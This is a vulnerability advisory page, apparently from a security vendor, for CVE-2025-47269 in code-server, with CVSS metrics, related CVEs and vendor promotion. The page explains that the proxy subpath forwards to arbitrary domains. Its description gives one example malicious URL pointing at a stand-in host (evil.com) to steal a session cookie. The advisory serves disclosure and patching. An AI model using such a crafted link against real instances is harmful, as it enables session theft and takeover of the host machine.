CVE-2025-47269
Last modified
CVE-2025-47269 is a high-severity vulnerability rated 8.3/10 on the CVSS scale. code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. EPSS estimates a 34.27% chance of exploitation in the next 30 days.
Description
code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.
Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
Weakness Enumeration
References
Timeline
- Published
- Last Modified
- Status
- Deferred
Frequently Asked Questions
What is CVE-2025-47269?
How severe is CVE-2025-47269?
How do I fix CVE-2025-47269?
How Strix Helps
- How Strix found a critical auth bypass in etcdStrix autonomously discovered a critical authentication bypass in etcd, later designated CVE-2026-33413.
- Autonomous PentestingAI agents that find and validate exploitable vulnerabilities like this one across your applications.
- PR ReviewsPentest every pull request so vulnerable code is caught before it ships to production.
- AI Penetration TestingHow AI-driven penetration testing continuously covers your attack surface.
Related CVEs from 2025
- CVE-2025-47244Inedo ProGet through 2024.22 allows remote attackers to reac…7.3
- CVE-2025-47245In BlueWave Checkmate through 2.0.2 before d4a6072, an invit…8.1
- CVE-2025-4725A vulnerability, which was classified as critical, was found…9.8
- CVE-2025-47256Libxmp through 4.6.2 has a stack-based buffer overflow in de…5.6
- CVE-2025-4726A vulnerability has been found in itsourcecode Placement Man…9.8
- CVE-2025-47268ping in iputils before 20250602 allows a denial of service (…6.5
- CVE-2025-4727A vulnerability was found in Meteor up to 3.2.1 and classifi…6.3
- CVE-2025-47270nimiq/core-rs-albatross is a Rust implementation of the Nimi…7.5
- CVE-2025-47271The OZI action is a GitHub Action that publishes releases to…6.3
- CVE-2025-47272The CE Phoenix eCommerce platform, starting in version 1.0.9…5.5
- CVE-2025-47273setuptools is a package that allows users to download, build…8.8
- CVE-2025-47274ToolHive is a utility designed to simplify the deployment an…2.4
Are you affected by CVE-2025-47269?
Run a free Strix scan to check your systems for this vulnerability.
Scan your code nowSource: NVD / NIST
